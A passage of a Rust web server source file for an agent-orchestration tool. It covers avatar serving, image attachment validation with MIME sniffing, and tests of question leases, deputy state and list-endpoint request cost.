10014 return Ok(builtin_avatar(persona::DEFAULT_ID));
10015 }
10016 let Some(icon) = icon
10017 .as_deref()
10018 .filter(|icon| !icon.is_empty() && q.builtin.is_none())
10019 else {
10020 return Ok(builtin_avatar(&wanted));
10021 };
10022 let Some(found) = found else {
10023 return Ok(raster_or_builtin(
10024 Some(icon),
10025 persona_icon::builtin_svg(&wanted),
10026 ));
10027 };
10028 match persona_icon::load(icon) {
10029 Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10030 let mut res = attachment_response(mime, bytes);
10031 res.headers_mut().insert(
10032 header::CACHE_CONTROL,
10033 header::HeaderValue::from_static("no-cache"),
10034 );
10035 Ok(res)
10036 }
10037 Ok((mime, _)) => {
10038 tracing::warn!(
10039 "avatar: icon of persona `{}` is not really {mime}; using the built-in",
10040 found.id
10041 );
10042 Ok(builtin_avatar(&found.id))
10043 }
10044 Err(e) => {
10045 tracing::warn!(
10046 "avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
10047 found.id
10048 );
10049 Ok(builtin_avatar(&found.id))
10050 }
10051 }
10052 })
10053 .await
10054}
10055
10056fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
10067 if data.len() > ATTACHMENT_MAX_BYTES {
10068 return Err(ApiError::bad_request(format!(
10069 "attachment is {} bytes, over the {} MiB limit",
10070 data.len(),
10071 ATTACHMENT_MAX_BYTES / (1024 * 1024)
10072 ))
10073 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
10074 }
10075 if data.is_empty() {
10076 return Err(ApiError::bad_request("attachment is empty"));
10077 }
10078 let declared = declared_mime(headers)?;
10079 match sniffed_mime(data) {
10080 Some(sniffed) if sniffed == declared => Ok(declared),
10081 Some(sniffed) => Err(ApiError::bad_request(format!(
10082 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
10083 ))),
10084 None => Err(ApiError::bad_request(
10085 "the file's bytes do not match any accepted image format",
10086 )),
10087 }
10088}
10089
10090fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
10094 let raw = headers
10095 .get(header::CONTENT_TYPE)
10096 .and_then(|v| v.to_str().ok())
10097 .unwrap_or("")
10098 .split(';')
10099 .next()
10100 .unwrap_or("")
10101 .trim()
10102 .to_ascii_lowercase();
10103 ATTACHMENT_MIME_WHITELIST
10104 .iter()
10105 .find(|&&m| m == raw)
10106 .copied()
10107 .ok_or_else(|| {
10108 if raw == "image/svg+xml" {
10109 ApiError::bad_request(
10110 "SVG is not accepted: it can carry active content (e.g. a <script>), \
10111 not just a picture",
10112 )
10113 } else if raw.is_empty() {
10114 ApiError::bad_request("Content-Type is required for an attachment upload")
10115 } else {
10116 ApiError::bad_request(format!(
10117 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
10118 image/gif or image/webp"
10119 ))
10120 }
10121 })
10122}
10123
10124fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
10127 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
10128 Some("image/png")
10129 } else if data.starts_with(b"\xff\xd8\xff") {
10130 Some("image/jpeg")
10131 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
10132 Some("image/gif")
10133 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
10134 Some("image/webp")
10135 } else {
10136 None
10137 }
10138}
10139
10140fn filename_header(headers: &HeaderMap) -> String {
10146 headers
10147 .get(FILENAME_HEADER)
10148 .and_then(|v| v.to_str().ok())
10149 .map(str::trim)
10150 .filter(|s| !s.is_empty())
10151 .unwrap_or("attachment")
10152 .to_owned()
10153}
10154
10155fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
10162 let content_type = ATTACHMENT_MIME_WHITELIST
10163 .iter()
10164 .find(|&&m| m == mime)
10165 .copied()
10166 .unwrap_or("application/octet-stream");
10167 (
10168 [
10169 (header::CONTENT_TYPE, content_type),
10170 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
10171 ],
10172 body,
10173 )
10174 .into_response()
10175}
10176
10177async fn config_for(repo: &FsPath) -> ApiResult<Config> {
10185 let repo = repo.to_path_buf();
10186 blocking(move || {
10187 let (cfg, _) = Config::discover(&repo, None)?;
10188 Ok(cfg)
10189 })
10190 .await
10191}
10192
10193fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
10199 let mut hits = ids
10200 .into_iter()
10201 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
10202 match (hits.next(), hits.next()) {
10203 (Some(one), None) => Ok(one),
10204 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
10205 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
10206 "`{prefix}` matches more than one {what}, including {a} and {b}"
10207 ))),
10208 }
10209}
10210
10211#[cfg(test)]
10212mod tests {
10213
10214 #[test]
10215 fn deputy_exhausted_requires_an_open_question_without_a_live_holder() {
10216 let dir = tempfile::tempdir().unwrap();
10217 let store = ask::Questions::at(dir.path().join("questions"));
10218 let mut q = Question::new(
10219 "task".to_owned(),
10220 "conduct".to_owned(),
10221 "conduct".to_owned(),
10222 "choose".to_owned(),
10223 String::new(),
10224 vec!["keep".to_owned()],
10225 );
10226 q.deputy = Some(ask::Deputy::new("brief".to_owned()));
10227 q.say("why?").unwrap();
10228 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS - 1;
10229 assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10230 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
10231 store.put(&mut q).unwrap();
10232 assert!(QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10233 assert_eq!(store.count_needs_owner(), 1);
10234 store.beat(&q.id, ask::WaiterKind::Deputy);
10235 assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10236 assert_eq!(store.count_needs_owner(), 0);
10237 let mut stale = store.read_lease(&q.id).unwrap();
10238 stale.beat_at = jiff::Timestamp::now() - std::time::Duration::from_secs(3600);
10239 std::fs::write(store.lease_path(&q.id), serde_json::to_vec(&stale).unwrap()).unwrap();
10240 let view = QuestionView::of(q.clone(), &store, Some(&Config::default()));
10241 assert!(view.deputy_exhausted);
10242 assert!(view.waiting_on_agent);
10243 assert_eq!(view.question.choices, ["keep"]);
10244 store.drop_lease(&q.id);
10245 q.answer(ask::Answer::Choice("keep".to_owned())).unwrap();
10246 assert!(!QuestionView::of(q, &store, Some(&Config::default())).deputy_exhausted);
10247 }
10248
10249 #[test]
10250 fn holder_reads_the_lease_not_the_record() {
10251 let mut q = Question::new(
10252 "run".to_owned(),
10253 "implement".to_owned(),
10254 "impl-A".to_owned(),
10255 "which?".to_owned(),
10256 String::new(),
10257 Vec::new(),
10258 );
10259 assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
10260 q.cwd = Some("/tmp".to_owned());
10261 assert_eq!(holder_of(&q, None), Some("nobody"));
10262 let beat = |kind, ago: i64| ask::Lease {
10263 kind,
10264 pid: 1,
10265 beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
10266 .unwrap(),
10267 };
10268 let fresh = beat(ask::WaiterKind::Asker, 1);
10269 assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
10270 let daemon = beat(ask::WaiterKind::Daemon, 1);
10271 assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
10272 let stale = beat(ask::WaiterKind::Asker, 3600);
10273 assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
10274
10275 let mut c = Question::new(
10278 "task".to_owned(),
10279 crate::conduct::NODE.to_owned(),
10280 "conduct".to_owned(),
10281 "which?".to_owned(),
10282 String::new(),
10283 Vec::new(),
10284 );
10285 assert_eq!(holder_of(&c, None), Some("nobody"));
10286 c.cwd = Some("/tmp".to_owned());
10287 c.deputy = Some(ask::Deputy::new("brief".to_owned()));
10288 assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
10289 let deputy = beat(ask::WaiterKind::Deputy, 1);
10290 assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
10291 assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
10292
10293 let mut r = Question::new(
10295 String::new(),
10296 crate::bump::NOTICE_NODE.to_owned(),
10297 "release-watch".to_owned(),
10298 "stuck?".to_owned(),
10299 String::new(),
10300 vec!["hold".to_owned()],
10301 );
10302 assert_eq!(holder_of(&r, None), Some("nobody"));
10303 r.deputy = Some(ask::Deputy::new("brief".to_owned()));
10304 assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
10305 r.deputy = None;
10307 r.seat = "bump".to_owned();
10308 assert_eq!(holder_of(&r, None), None);
10309
10310 let mut m = Question::new(
10313 "run".to_owned(),
10314 crate::land::APPROVAL_NODE.to_owned(),
10315 "land".to_owned(),
10316 "merge?".to_owned(),
10317 String::new(),
10318 Vec::new(),
10319 );
10320 assert_eq!(holder_of(&m, None), Some("nobody"));
10321 assert_eq!(
10322 holder_of(&m, Some(&fresh)),
10323 Some("asker"),
10324 "a live explicit wait is a listener even before a deputy is attached"
10325 );
10326 m.deputy = Some(ask::Deputy::new("brief".to_owned()));
10327 assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
10328 assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
10329 assert_eq!(holder_of(&m, None), Some("nobody"));
10330 }
10331
10332 fn stub_config() -> Config {
10333 Config {
10336 agents: vec![crate::config::AgentSpec {
10337 id: "stub".to_owned(),
10338 kind: AgentKind::Command,
10339 model: None,
10340 command: vec!["true".to_owned()],
10341 extra_args: Vec::new(),
10342 env: Default::default(),
10343 prompt_delivery: None,
10344 max_turn_secs: None,
10345 }],
10346 ..Config::default()
10347 }
10348 }
10349
10350 fn plain_question(seat: &str) -> Question {
10351 Question::new(
10352 String::new(),
10353 "n".to_owned(),
10354 seat.to_owned(),
10355 "s".to_owned(),
10356 String::new(),
10357 Vec::new(),
10358 )
10359 }
10360
10361 #[test]
10362 fn deputies_enabled_follows_the_config() {
10363 let on = stub_config();
10364 assert!(crate::deputy::can_start(Some(&on), ""));
10365 assert!(crate::deputy::can_start(Some(&on), "stub"));
10366 let mut off = on.clone();
10367 off.daemon.max_deputies = 0;
10368 assert!(!crate::deputy::can_start(Some(&off), ""));
10369 let mut empty = on;
10370 empty.agents.clear();
10371 assert!(!crate::deputy::can_start(Some(&empty), ""));
10372 assert!(!crate::deputy::can_start(None, ""));
10373 }
10374
10375 #[test]
10376 fn question_views_load_the_config_once() {
10377 let dir = TempDir::new().unwrap();
10378 let store = ask::Questions::at(dir.path().to_path_buf());
10379 let mut with_deputy = plain_question("b");
10380 with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
10381 let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
10382
10383 let calls = std::cell::Cell::new(0usize);
10384 let views = question_views(qs.clone(), &store, || {
10385 calls.set(calls.get() + 1);
10386 Some(stub_config())
10387 });
10388 assert_eq!(calls.get(), 1);
10389 assert_eq!(views.len(), 3);
10390 for (v, q) in views.iter().zip(&qs) {
10391 assert_eq!(
10392 v.deputies_enabled,
10393 crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
10394 );
10395 }
10396
10397 let views = question_views(qs, &store, || None);
10398 assert!(views.iter().all(|v| !v.deputies_enabled));
10399
10400 let calls = std::cell::Cell::new(0usize);
10401 let views = question_views(Vec::new(), &store, || {
10402 calls.set(calls.get() + 1);
10403 None
10404 });
10405 assert!(views.is_empty());
10406 assert_eq!(calls.get(), 0);
10407 }
10408
10409 use pretty_assertions::assert_eq;
10410 use serde_json::Value;
10411 use tempfile::TempDir;
10412 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
10413
10414 use super::*;
10415 use crate::config::Config;
10416 use crate::queue::Source;
10417
10418 const SETTLE_STEPS: usize = 3_000;
10429
10430 struct Fixture {
10436 home: TempDir,
10437 addr: SocketAddr,
10438 }
10439
10440 impl Fixture {
10441 async fn start() -> Self {
10442 Self::with_loop(launch_idle).await
10443 }
10444
10445 async fn with_loop(launch: Launch) -> Self {
10447 let home = TempDir::new().expect("temp home");
10448 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
10449 Self { home, addr }
10450 }
10451
10452 async fn with_repo(repo: PathBuf) -> Self {
10456 let home = TempDir::new().expect("temp home");
10457 let addr = Self::serve(home.path(), repo, launch_idle, None).await;
10458 Self { home, addr }
10459 }
10460
10461 async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
10464 let home = TempDir::new().expect("temp home");
10465 let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
10466 Self { home, addr }
10467 }
10468
10469 async fn serve(
10470 home: &FsPath,
10471 repo: PathBuf,
10472 launch: Launch,
10473 machine: Option<PathBuf>,
10474 ) -> SocketAddr {
10475 let queue = Queue::at(home.join("queue"));
10476 let runs = home.join("runs");
10477 std::fs::create_dir_all(&runs).expect("runs dir");
10478 let worktrees = home.join("wt").join("magi");
10479 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
10480 let ui = Ui::new(
10481 queue,
10482 Questions::at(home.join("questions")),
10483 Talks::at(home.join("talks")),
10484 runs,
10485 home.to_path_buf(),
10486 repo,
10487 )
10488 .with_worktrees_root(worktrees)
10489 .with_machine_config(machine)
10490 .with_launch(launch);
10491 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
10492 .await
10493 .expect("bind loopback");
10494 let addr = listener.local_addr().expect("local addr");
10495 tokio::spawn(async move {
10496 let router = ui
10497 .router()
10498 .layer(axum::middleware::from_fn(request_cost::observe));
10499 let _ = axum::serve(listener, router).await;
10500 });
10501 addr
10502 }
10503
10504 fn queue(&self) -> Queue {
10505 Queue::at(self.home.path().join("queue"))
10506 }
10507
10508 fn questions(&self) -> Questions {
10509 Questions::at(self.home.path().join("questions"))
10510 }
10511
10512 fn talks(&self) -> Talks {
10513 Talks::at(self.home.path().join("talks"))
10514 }
10515
10516 fn runs(&self) -> PathBuf {
10517 self.home.path().join("runs")
10518 }
10519
10520 async fn get(&self, path: &str) -> Res {
10521 request(self.addr, "GET", path, None).await
10522 }
10523
10524 async fn head(&self, path: &str) -> Res {
10529 request(self.addr, "HEAD", path, None).await
10530 }
10531
10532 async fn post(&self, path: &str, body: Option<&str>) -> Res {
10533 request(self.addr, "POST", path, body).await
10534 }
10535
10536 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
10537 request_with(self.addr, "GET", path, None, extra).await
10538 }
10539
10540 async fn delete(&self, path: &str) -> Res {
10541 request(self.addr, "DELETE", path, None).await
10542 }
10543
10544 async fn put(&self, path: &str, body: &str) -> Res {
10545 request(self.addr, "PUT", path, Some(body)).await
10546 }
10547
10548 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
10550 request_bytes(self.addr, path, headers, body).await
10551 }
10552 }
10553
10554 async fn performance_repositories() -> (TempDir, [PathBuf; 2]) {
10557 let tmp = TempDir::new().unwrap();
10558 let mut repos = Vec::new();
10559 for name in ["one", "two"] {
10560 let repo = tmp.path().join(name);
10561 let origin = tmp.path().join(format!("{name}.git"));
10562 std::fs::create_dir_all(&repo).unwrap();
10563 crate::git::git(&repo, &["init", "-b", "main"])
10564 .await
10565 .unwrap();
10566 std::fs::write(
10567 repo.join("magi.toml"),
10568 format!("{MOCK_AGENT_TOML}\n[repos]\nroots = []\n[update]\nmode = \"off\"\n[verify]\ne2e = []\ngate = []\n"),
10569 )
10570 .unwrap();
10571 crate::git::git(&repo, &["add", "magi.toml"]).await.unwrap();
10572 crate::git::git(
10573 &repo,
10574 &[
10575 "-c",
10576 "user.name=fixture",
10577 "-c",
10578 "user.email=fixture@example.invalid",
10579 "commit",
10580 "-m",
10581 "fixture",
10582 ],
10583 )
10584 .await
10585 .unwrap();
10586 crate::git::git(tmp.path(), &["init", "--bare", origin.to_str().unwrap()])
10587 .await
10588 .unwrap();
10589 crate::git::git(
10590 &repo,
10591 &["remote", "add", "origin", origin.to_str().unwrap()],
10592 )
10593 .await
10594 .unwrap();
10595 crate::git::git(&repo, &["push", "origin", "main"])
10596 .await
10597 .unwrap();
10598 crate::git::git(
10599 &repo,
10600 &[
10601 "symbolic-ref",
10602 "refs/remotes/origin/HEAD",
10603 "refs/remotes/origin/main",
10604 ],
10605 )
10606 .await
10607 .unwrap();
10608 let (cfg, _) = Config::discover(&repo, None).unwrap();
10609 assert!(cfg.agents.iter().any(|a| a.id == "mock"));
10610 repos.push(repo);
10611 }
10612 let repos: [PathBuf; 2] = repos.try_into().unwrap();
10613 (tmp, repos)
10614 }
10615
10616 async fn performance_fixture() -> (TempDir, [PathBuf; 2], Fixture) {
10617 let (tmp, repos) = performance_repositories().await;
10618 let machine = tmp.path().join("machine.toml");
10619 std::fs::write(&machine, "").unwrap();
10620 let fx = Fixture::with_repo_and_machine(repos[0].clone(), machine).await;
10621 (tmp, repos, fx)
10622 }
10623
10624 fn seed_performance(
10625 fx: &Fixture,
10626 repos: &[PathBuf; 2],
10627 questions: usize,
10628 runs: usize,
10629 items: usize,
10630 ) {
10631 for i in fx.questions().list().len()..questions {
10633 let mut question = Question::new(
10634 "20261001-000000-0000".into(),
10635 "implement".into(),
10636 "impl-A".into(),
10637 format!("question {i}"),
10638 "context".into(),
10639 vec!["yes".into(), "no".into()],
10640 );
10641 question.id = format!("20261003-000000-{i:04x}");
10642 fx.questions().put(&mut question).unwrap();
10643 }
10644 for i in run_ids(&fx.runs()).len()..runs {
10645 write_run_repo(
10646 &fx.runs(),
10647 &format!("20261001-000000-{i:04x}"),
10648 RunStatus::Ready,
10649 repos[i % 2].to_str().unwrap(),
10650 );
10651 }
10652 for i in fx.talks().list().len()..items {
10653 let id = seed_talk(fx, &format!("20261002-000000-{i:04x}"), "open");
10654 let mut talk = fx.talks().get(&id).unwrap();
10655 talk.repo = repos[i % 2].clone();
10656 fx.talks().put(&mut talk).unwrap();
10657 let mut task = crate::queue::Task::new(
10658 format!("task {i}"),
10659 "instruction".into(),
10660 repos[i % 2].clone(),
10661 crate::queue::Source::Agent {
10662 run: id,
10663 node: crate::queue::CHAT_NODE.into(),
10664 },
10665 );
10666 task.id = format!("20261004-000000-{i:04x}");
10667 fx.queue().put(&mut task).unwrap();
10668 if i < crate::notices::CAP {
10670 Notices::at(fx.home.path().join("notifications"))
10671 .raise(Notice::info(&format!("notice-{i}"), "notification"))
10672 .unwrap();
10673 }
10674 }
10675 assert_eq!(fx.questions().list().len(), questions);
10676 assert_eq!(run_ids(&fx.runs()).len(), runs);
10677 assert_eq!(fx.talks().list().len(), items);
10678 assert_eq!(fx.queue().list().len(), items);
10679 assert_eq!(
10680 Notices::at(fx.home.path().join("notifications"))
10681 .list()
10682 .len(),
10683 items.min(crate::notices::CAP)
10684 );
10685 }
10686
10687 fn request_counts(res: &Res) -> (usize, usize) {
10688 assert_eq!(res.status, 200, "{}", res.body);
10689 (
10690 res.header("x-test-discoveries").unwrap().parse().unwrap(),
10691 res.header("x-test-git").unwrap().parse().unwrap(),
10692 )
10693 }
10694
10695 #[tokio::test]
10696 async fn list_request_cost_is_independent_of_record_count() {
10697 let (_tmp, repos, fx) = performance_fixture().await;
10698 let mut previous = None;
10699 for n in [4, 60] {
10700 seed_performance(&fx, &repos, n, n, n);
10701 let mut costs = Vec::new();
10702 for (path, discoveries) in [
10703 ("/api/questions", 1),
10704 ("/api/talks", 2),
10705 ("/api/health", 1),
10706 ("/api/stats", 1),
10707 ] {
10708 for repo in &repos {
10711 let cache = repo.join(".git/magi/config");
10712 if cache.exists() {
10713 std::fs::remove_dir_all(cache).unwrap();
10714 }
10715 }
10716 let cost = request_counts(&fx.get(path).await);
10717 eprintln!("{path} N={n}: discoveries={} git={}", cost.0, cost.1);
10718 assert_eq!(cost.0, discoveries, "{path}, N={n}");
10719 assert!(cost.1 > 0 && cost.1 <= 40, "{path}: {cost:?}");
10720 costs.push(cost);
10721 }
10722 if let Some(previous) = previous {
10723 assert_eq!(costs, previous);
10724 }
10725 previous = Some(costs);
10726 }
10727 }
10731
10732 #[tokio::test]
10735 async fn list_handler_cost_without_transport() {
10736 let (_tmp, repos) = performance_repositories().await;
10737 let fx = Fixture {
10738 home: TempDir::new().unwrap(),
10739 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
10740 };
10741 let ui = Arc::new(
10742 Ui::new(
10743 fx.queue(),
10744 fx.questions(),
10745 fx.talks(),
10746 fx.runs(),
10747 fx.home.path().to_path_buf(),
10748 repos[0].clone(),
10749 )
10750 .with_worktrees_root(fx.home.path().join("wt")),
10751 );
10752 let mut previous = None;
10753 for (n, runs, items) in [(4, 4, 4), (60, 60, 60), (200, 300, 400)] {
10754 seed_performance(&fx, &repos, n, runs, items);
10755 let mut costs = Vec::new();
10756 for endpoint in ["questions", "talks", "health", "stats"] {
10757 for repo in &repos {
10758 let cache = repo.join(".git/magi/config");
10759 if cache.exists() {
10760 std::fs::remove_dir_all(cache).unwrap();
10761 }
10762 }
10763 let (_, cost) = request_cost::measure(async {
10764 match endpoint {
10765 "questions" => {
10766 let _ = questions_list(State(ui.clone())).await.unwrap();
10767 }
10768 "talks" => {
10769 let _ = talks_list(
10770 State(ui.clone()),
10771 Query(ListQuery {
10772 limit: None,
10773 ids: None,
10774 }),
10775 )
10776 .await
10777 .unwrap();
10778 }
10779 "health" => {
10780 let _ = health(State(ui.clone())).await.unwrap();
10781 }
10782 _ => {
10783 let _ = stats_get(State(ui.clone()), Query(StatsQuery::default()))
10784 .await
10785 .unwrap();
10786 }
10787 }
10788 })
10789 .await;
10790 eprintln!("{endpoint} handler N={n}: {cost:?}");
10791 assert_eq!(
10792 cost.0,
10793 if endpoint == "talks" { 2 } else { 1 },
10794 "{endpoint}"
10795 );
10796 assert!(cost.1 > 0 && cost.1 <= 40, "{endpoint}: {cost:?}");
10797 costs.push(cost);
10798 }
10799 if let Some(previous) = previous {
10800 assert_eq!(costs, previous);
10801 }
10802 previous = Some(costs);
10803 }
10804 }
10805
10806 #[tokio::test]
10807 async fn list_request_cost_scopes_do_not_mix() {
10808 let (_tmp, repos, fx) = performance_fixture().await;
10809 seed_performance(&fx, &repos, 10, 0, 10);
10810 let (questions, talks, notices) = tokio::join!(
10811 fx.get("/api/questions"),
10812 fx.get("/api/talks"),
10813 fx.get("/api/notifications")
10814 );
10815 assert_eq!(request_counts(&questions).0, 1);
10816 assert_eq!(request_counts(&talks).0, 2);
10817 assert_eq!(request_counts(¬ices), (0, 0));
10818 }
10819
10820 #[tokio::test]
10821 async fn list_endpoints_large_home_responses() {
10822 check_large_home_endpoints(false).await;
10823 }
10824
10825 #[tokio::test]
10826 #[ignore = "local wall-clock performance measurement; see docs/web-responsiveness.md"]
10827 async fn list_endpoints_large_home_ceiling() {
10828 check_large_home_endpoints(true).await;
10829 }
10830
10831 async fn check_large_home_endpoints(timed: bool) {
10832 let (_tmp, repos, fx) = performance_fixture().await;
10833 seed_performance(&fx, &repos, 200, 300, 400);
10834 let mut failures = Vec::new();
10835 for path in [
10838 "/",
10839 "/app.js",
10840 "/app.css",
10841 "/api/questions",
10842 "/api/runs?limit=300",
10843 "/api/queue",
10844 "/api/talks",
10845 "/api/notifications",
10846 "/api/health",
10847 "/api/stats",
10848 "/api/loop",
10849 "/api/settings",
10850 "/api/repos",
10851 ] {
10852 let start = std::time::Instant::now();
10853 let result = if timed {
10854 tokio::time::timeout(Duration::from_secs(5), fx.get(path)).await
10855 } else {
10856 Ok(fx.get(path).await)
10857 };
10858 let elapsed = start.elapsed();
10859 eprintln!("{path}: {elapsed:?}");
10860 match result {
10861 Ok(res) if res.status == 200 && (!timed || elapsed <= Duration::from_secs(5)) => {}
10862 Ok(res) => failures.push(format!("{path}: status {}, {elapsed:?}", res.status)),
10863 Err(_) => failures.push(format!("{path}: exceeded 5 seconds ({elapsed:?})")),
10864 }
10865 }
10866 assert!(failures.is_empty(), "{}", failures.join("\n"));
10867 }
10868
10869 struct Res {
10870 status: u16,
10871 headers: String,
10872 head: String,
10877 body: String,
10878 bytes: Vec<u8>,
10882 }
10883
10884 impl Res {
10885 fn json(&self) -> Value {
10886 serde_json::from_str(&self.body)
10887 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
10888 }
10889
10890 fn header(&self, name: &str) -> Option<&str> {
10892 self.head.lines().find_map(|line| {
10893 let (key, value) = line.split_once(':')?;
10894 key.trim()
10895 .eq_ignore_ascii_case(name)
10896 .then(|| value.trim_start().trim_end_matches('\r'))
10897 })
10898 }
10899 }
10900
10901 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
10904 request_with(addr, method, path, body, &[]).await
10905 }
10906
10907 async fn request_with(
10911 addr: SocketAddr,
10912 method: &str,
10913 path: &str,
10914 body: Option<&str>,
10915 extra: &[(&str, &str)],
10916 ) -> Res {
10917 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
10918 for (name, value) in extra {
10919 head.push_str(&format!("{name}: {value}\r\n"));
10920 }
10921 if let Some(body) = body {
10922 head.push_str("Content-Type: application/json\r\n");
10923 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
10924 }
10925 head.push_str("\r\n");
10926 if let Some(body) = body {
10927 head.push_str(body);
10928 }
10929 let mut socket = tokio::net::TcpStream::connect(addr)
10930 .await
10931 .expect("connect to the test server");
10932 socket
10933 .write_all(head.as_bytes())
10934 .await
10935 .expect("write request");
10936 let mut raw = Vec::new();
10937 socket.read_to_end(&mut raw).await.expect("read response");
10938 let split = raw
10941 .windows(4)
10942 .position(|w| w == b"\r\n\r\n")
10943 .expect("a header block");
10944 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
10945 let bytes = raw[split + 4..].to_vec();
10946 let status = head
10947 .lines()
10948 .next()
10949 .and_then(|line| line.split_whitespace().nth(1))
10950 .and_then(|code| code.parse().ok())
10951 .expect("a status line");
10952 Res {
10953 status,
10954 headers: head.to_lowercase(),
10955 head,
10956 body: String::from_utf8_lossy(&bytes).into_owned(),
10957 bytes,
10958 }
10959 }
10960
10961 async fn request_bytes(
10967 addr: SocketAddr,
10968 path: &str,
10969 headers: &[(&str, &str)],
10970 body: &[u8],
10971 ) -> Res {
10972 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
10973 for (name, value) in headers {
10974 head.push_str(&format!("{name}: {value}\r\n"));
10975 }
10976 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
10977 let mut socket = tokio::net::TcpStream::connect(addr)
10978 .await
10979 .expect("connect to the test server");
10980 socket
10981 .write_all(head.as_bytes())
10982 .await
10983 .expect("write request head");
10984 socket.write_all(body).await.expect("write request body");
10985 let mut raw = Vec::new();
10986 socket.read_to_end(&mut raw).await.expect("read response");
10987 let split = raw
10988 .windows(4)
10989 .position(|w| w == b"\r\n\r\n")
10990 .expect("a header block");
10991 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
10992 let bytes = raw[split + 4..].to_vec();
10993 let status = head
10994 .lines()
10995 .next()
10996 .and_then(|line| line.split_whitespace().nth(1))
10997 .and_then(|code| code.parse().ok())
10998 .expect("a status line");
10999 Res {
11000 status,
11001 headers: head.to_lowercase(),
11002 head,
11003 body: String::from_utf8_lossy(&bytes).into_owned(),
11004 bytes,
11005 }
11006 }
11007
11008 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
11010 let mut state = RunState::new(
11011 PathBuf::from("/repo/magi"),
11012 "main".to_owned(),
11013 "0123456789abcdef".to_owned(),
11014 "Add a web UI\n\nMobile first.".to_owned(),
11015 Config::default(),
11016 );
11017 state.id = id.to_owned();
11018 state.status = status;
11019 let dir = runs.join(id);
11020 std::fs::create_dir_all(&dir).expect("run dir");
11021 std::fs::write(
11022 dir.join("run.json"),
11023 serde_json::to_string_pretty(&state).expect("serialize run"),
11024 )
11025 .expect("write run.json");
11026 }
11027
11028 fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
11032 let mut state = RunState::new(
11033 PathBuf::from(repo),
11034 "main".to_owned(),
11035 "0123456789abcdef".to_owned(),
11036 "task".to_owned(),
11037 Config::default(),
11038 );
11039 state.id = id.to_owned();
11040 state.status = status;
11041 let dir = runs.join(id);
11042 std::fs::create_dir_all(&dir).expect("run dir");
11043 std::fs::write(
11044 dir.join("run.json"),
11045 serde_json::to_string_pretty(&state).expect("serialize run"),
11046 )
11047 .expect("write run.json");
11048 }
11049
11050 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
11051 let body = serde_json::json!({
11052 "schema": 1,
11053 "pid": 4242,
11054 "started_at": Timestamp::now().to_string(),
11055 "updated_at": updated_at.to_string(),
11056 "idle": false,
11057 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
11058 "completed": 7,
11059 "polls": 143,
11060 });
11061 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
11062 }
11063
11064 fn launch_idle(
11074 _opts: daemon::Opts,
11075 stop: daemon::Stop,
11076 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
11077 Box::pin(async move {
11078 while !stop.stopped() {
11079 tokio::time::sleep(Duration::from_millis(2)).await;
11080 }
11081 Ok(())
11082 })
11083 }
11084
11085 fn launch_broken(
11088 _opts: daemon::Opts,
11089 _stop: daemon::Stop,
11090 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
11091 static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
